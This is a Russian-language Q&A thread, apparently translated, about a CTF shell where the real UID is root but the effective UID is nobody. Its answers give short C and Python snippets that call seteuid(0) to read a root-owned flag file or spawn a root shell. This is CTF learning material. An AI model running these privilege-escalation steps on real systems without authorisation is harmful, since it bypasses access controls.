UID — root, но whoami говорит, что никто

UID — root, но whoami говорит, что никто

Я участвую в конкурсе по захвату флага, где мне нужно реализовать некоторую форму повышения привилегий для чтения файла flag.txt. Я заметил, что при запуске whoamiя получаю следующий результат:

myHostHere:/$ whoami
nobody

Но когда я запускаю, idмой UID устанавливается на root:

myHostHere:/$ id
uid=0(root) gid=65534(nobody) euid=65534(nobody)

Означает ли это, что я могу действовать как пользователь root и т. д., или я неправильно интерпретирую вывод?

Редактировать:

Вывод ls -l flag.txtследующий:

-r--r-----    1 root     root            34 Feb 10 12:00 flag.txt

решение1

Эту проблему можно решить, написав и скомпилировав (с помощью --static) программу на языке C, например, на отдельной машине:

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void main() {
    seteuid(0);
    setgid(0);
    system("cat flag.txt");
}

Этот файл можно скопировать на машину CTF, дать ему разрешение на выполнение chmod +xи запустить из tmpпапки.

решение2

Я создал установку, очень похожую на вашу. Я сделал это с помощью отладчика (примеры:здесьитам). В затронутой оболочке у меня есть:

$ whoami
nobody
$ id
uid=0(root) gid=65534(nogroup) euid=65534(nobody) groups=65534(nogroup)
$

Тогда, по словамэтот ответ:

Доступ к файлам и операции, требующие привилегий root, учитывают эффективные UID и GID.

На самом деле, вот что происходит:

$ ls -l flag.txt
---------- 1 root root 4 Mar 17 08:57 flag.txt
$ cat flag.txt
cat: flag.txt: Permission denied
$

Но я могу сделать это:

$ sudo cat flag.txt
foo

Или это:

$ su -
# whoami
root
# cat flag.txt
foo

Или это:

$ sg root 'cat flag.txt'
foo

Когда у вас есть uid=0, вам может помочь все, что может использовать seteuidсистемный вызов, а затем прочитать файл. Например python:

import os
os.seteuid(0)
f = open('flag.txt', 'r')
print f.read()
f.close()

Вместо (или помимо) чтения файла вы можете создать оболочку с повышенными правами:

import os
os.seteuid(0)
os.execve("/bin/sh", [], {})

В этой оболочке вы root; cat flag.txtбудете работать.


Тестовый стенд: Debian GNU/Linux 9.

Связанный контент